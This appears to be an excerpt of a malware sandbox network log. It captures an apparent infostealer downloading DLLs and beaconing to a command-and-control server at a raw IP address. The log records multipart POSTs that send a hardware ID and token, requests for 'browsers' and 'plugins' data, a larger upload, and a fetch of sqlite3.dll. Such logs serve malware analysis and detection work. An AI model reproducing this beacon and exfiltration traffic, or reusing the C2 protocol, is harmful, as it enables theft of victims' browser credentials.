80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 01:03:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 01:03:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 01:03:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 01:03:12 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 01:03:12 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGHHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 44 43 38 33 45 41 33 33 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 2d 2d 0d 0a Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="hwid"34DC83EA33BD3120641781------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="build"default------CGCFCFBKFCFCBGDGIEGH--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHIHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 2d 2d 0d 0a Data Ascii: ------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="message"browsers------IIECFHDBAAECAAKFHDHI--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDGHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 2d 2d 0d 0a Data Ascii: ------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="message"plugins------BFIJEHCBAKFCAKFHCGDG--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKFIIEBKEGIEBFIJKFIHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="message"fplugins------JKKFIIEBKEGIEBFIJKFI--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJECAEHJJJKJKFIDGCBHost: 46.8.231.109Content-Length: 6975Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
